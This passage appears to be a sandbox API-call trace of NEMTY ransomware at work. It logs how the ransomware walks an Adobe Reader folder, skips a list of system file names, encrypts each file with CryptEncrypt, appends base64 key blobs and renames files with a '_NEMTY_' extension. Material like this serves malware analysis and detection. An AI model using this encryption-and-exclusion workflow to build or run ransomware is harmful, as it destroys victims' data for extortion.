ftCreationTime.dwLowDateTime=0x21fd21d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x21fd21d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21fd21d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0185.160] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0185.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.160] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.TUR", cAlternateFileName="")) returned 1 [0185.160] lstrcmpiW (lpString1="Spelling.TUR", lpString2=".") returned 1 [0185.160] lstrcmpiW (lpString1="Spelling.TUR", lpString2="..") returned 1 [0185.160] lstrcmpiW (lpString1="Spelling.TUR", lpString2="...") returned 1 [0185.160] lstrcmpiW (lpString1="Spelling.TUR", lpString2="windows") returned -1 [0185.160] lstrcmpiW (lpString1="Spelling.TUR", lpString2="$RECYCLE.BIN") returned 1 [0185.160] lstrcmpiW (lpString1="Spelling.TUR", lpString2="rsa") returned 1 [0185.160] lstrcmpiW (lpString1="Spelling.TUR", lpString2="NTDETECT.COM") returned 1 [0185.160] lstrcmpiW (lpString1="Spelling.TUR", lpString2="ntldr") returned 1 [0185.160] lstrcmpiW (lpString1="Spelling.TUR", lpString2="MSDOS.SYS") returned 1 [0185.160] lstrcmpiW (lpString1="Spelling.TUR", lpString2="IO.SYS") returned 1 [0185.160] lstrcmpiW (lpString1="Spelling.TUR", lpString2="boot.ini") returned 1 [0185.160] lstrcmpiW (lpString1="Spelling.TUR", lpString2="boot.ini") returned 1 [0185.160] lstrcmpiW (lpString1="Spelling.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0185.161] lstrcmpiW (lpString1="Spelling.TUR", lpString2="ntuser.dat") returned 1 [0185.161] lstrcmpiW (lpString1="Spelling.TUR", lpString2="desktop.ini") returned 1 [0185.161] lstrcmpiW (lpString1="Spelling.TUR", lpString2="CONFIG.SYS") returned 1 [0185.161] lstrcmpiW (lpString1="Spelling.TUR", lpString2="RECYCLER") returned 1 [0185.161] lstrcmpiW (lpString1="Spelling.TUR", lpString2="BOOTSECT.BAK") returned 1 [0185.161] lstrcmpiW (lpString1="Spelling.TUR", lpString2="bootmgr") returned 1 [0185.161] lstrcmpiW (lpString1="Spelling.TUR", lpString2="programdata") returned 1 [0185.161] lstrcmpiW (lpString1="Spelling.TUR", lpString2="appdata") returned 1 [0185.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.TUR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.TUR", lpUsedDefaultChar=0x0) returned 12 [0185.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.TUR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.TUR", lpUsedDefaultChar=0x0) returned 12 [0185.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.TUR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.TUR", lpUsedDefaultChar=0x0) returned 12 [0185.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.TUR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.TUR", lpUsedDefaultChar=0x0) returned 12 [0185.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.161] Sleep (dwMilliseconds=0x5) [0185.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x220445f0, dwHighDateTime=0x1d561e8)) [0185.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x220445f0, dwHighDateTime=0x1d561e8)) [0185.170] GetLastError () returned 0x12 [0185.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.170] GetLastError () returned 0x12 [0185.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.170] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.170] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.171] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.171] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="OT/g6s9yfFXKn09EsVQsQf5oX6Ge9Cz9GhyybspbclzJ6Wal7oRUYb9fMWYmHaHe\r\n7JBg+bIf24mY3L0EIo6y3y1SkcqEjIIfpSWbyLbg6yygPaZCYZWmLg6G77ir1Sea\r\n2WQwoFP1xQRxrSTXzbX1bFVKF+hlEHH0A2Mlc9f4wdTebrkJLTXSUL89Il3NutEr\r\nhT+3taeTsnp1oeLtTGuSrDo7M5xxbKfRmiMsDG/o1eBi2a127blUAhf83soRKBGK\r\nHfR97HJm8hsLUyEs6bNYxI8+LQG9vtRazX04UESWMGmTtebAiy/GAQF1a/q2ffb/\r\n2wGn/ZQXTUyTvuOYtJZhAw==\r\n", pcchString=0x653e5dc) returned 1 [0185.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.171] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Spelling.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\spelling.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.171] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0185.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0185.171] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.171] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0185.174] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.174] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0185.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.174] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0185.174] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.174] CloseHandle (hObject=0x2e8) returned 1 [0185.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.174] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Spelling.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\spelling.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Spelling.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\spelling.tur._nemty_kgobjgd_")) returned 1 [0185.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.175] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Updater.TUR", cAlternateFileName="")) returned 1 [0185.175] lstrcmpiW (lpString1="Updater.TUR", lpString2=".") returned 1 [0185.175] lstrcmpiW (lpString1="Updater.TUR", lpString2="..") returned 1 [0185.175] lstrcmpiW (lpString1="Updater.TUR", lpString2="...") returned 1 [0185.175] lstrcmpiW (lpString1="Updater.TUR", lpString2="windows") returned -1 [0185.175] lstrcmpiW (lpString1="Updater.TUR", lpString2="$RECYCLE.BIN") returned 1 [0185.175] lstrcmpiW (lpString1="Updater.TUR", lpString2="rsa") returned 1 [0185.175] lstrcmpiW (lpString1="Updater.TUR", lpString2="NTDETECT.COM") returned 1 [0185.175] lstrcmpiW (lpString1="Updater.TUR", lpString2="ntldr") returned 1 [0185.175] lstrcmpiW (lpString1="Updater.TUR", lpString2="MSDOS.SYS") returned 1 [0185.175] lstrcmpiW (lpString1="Updater.TUR", lpString2="IO.SYS") returned 1 [0185.176] lstrcmpiW (lpString1="Updater.TUR", lpString2="boot.ini") returned 1 [0185.176] lstrcmpiW (lpString1="Updater.TUR", lpString2="boot.ini") returned 1 [0185.176] lstrcmpiW (lpString1="Updater.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0185.176] lstrcmpiW (lpString1="Updater.TUR", lpString2="ntuser.dat") returned 1 [0185.176] lstrcmpiW (lpString1="Updater.TUR", lpString2="desktop.ini") returned 1 [0185.176] lstrcmpiW (lpString1="Updater.TUR", lpString2="CONFIG.SYS") returned 1 [0185.176] lstrcmpiW (lpString1="Updater.TUR", lpString2="RECYCLER") returned 1 [0185.176] lstrcmpiW (lpString1="Updater.TUR", lpString2="BOOTSECT.BAK") returned 1 [0185.176] lstrcmpiW (lpString1="Updater.TUR", lpString2="bootmgr") returned 1 [0185.176] lstrcmpiW (lpString1="Updater.TUR", lpString2="programdata") returned 1 [0185.176] lstrcmpiW (lpString1="Updater.TUR", lpString2="appdata") returned 1 [0185.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.TUR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.TUR", lpUsedDefaultChar=0x0) returned 11 [0185.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.TUR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.TUR", lpUsedDefaultChar=0x0) returned 11 [0185.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.TUR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.TUR", lpUsedDefaultChar=0x0) returned 11 [0185.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.TUR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.TUR", lpUsedDefaultChar=0x0) returned 11 [0185.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.176] Sleep (dwMilliseconds=0x5) [0185.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2206a750, dwHighDateTime=0x1d561e8)) [0185.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2206a750, dwHighDateTime=0x1d561e8)) [0185.185] GetLastError () returned 0x0 [0185.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.186] GetLastError () returned 0x0 [0185.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.186] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.186] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.186] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.186] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="2LHSepOZU/GnJ34kl0IYvZvrSWxd0ERID8fm1v+CPYb/3qprrCufa+oyjvYKjQGh\r\na2h+sTrPD6comHSjKV1hqAwvcxfZAb3iRjsRftK3q7gZZdN8WhMZK5ntfv4q+NpG\r\nss+y8zWd3YenTw7HAc6tTL3GgUy8haz2nMxVlcVzuUhOun0cq4S3IaF66mMSuYK0\r\n+LHMfjTevOq3KKRq9Kzfj2F7LvkY90FywQEDSx3PIm4W2SV/zm1/ekdiQ3MZfrhz\r\nnOPHXOwJ/LoexGafe5s5exokoAKRggLEg/ouYi4JD6/JcTFFyfiQ+ALrYvkZZ7di\r\n8E1hdbm7icdKfpZ8Y8Fexg==\r\n", pcchString=0x653e5dc) returned 1 [0185.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Updater.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\updater.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.187] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0185.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0185.187] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.187] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0185.189] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.189] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0185.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.189] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0185.189] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.190] CloseHandle (hObject=0x2e8) returned 1 [0185.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 